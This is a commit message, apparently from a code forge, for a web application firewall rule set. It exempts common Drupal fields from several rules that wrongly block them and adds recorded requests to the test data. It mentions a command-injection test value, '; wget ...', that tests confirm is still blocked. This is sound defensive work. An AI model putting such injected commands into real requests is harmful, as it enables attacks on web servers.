Core Rule Set: more of Drupal's ordinary fields pass (closes #244)
check / check (push) Successful in 5m5s
Details

Browse Source 
Names, searches, addresses and the page to return to on more Drupal
paths skip the rules that misfire on them: 930120, 932120, 932250 and
932260, plus 932230 and 932235 on destination only. The oEmbed url
skips only 930120 and 932120. Every Drupal path may carry a language
prefix such as /fr. Requests recorded from Drupal 11.4.11 with plain
words, python3, powershell, ls -la and .htaccess are added to the
test data; tests show attacks and "; wget ..." still refused on each
new field.
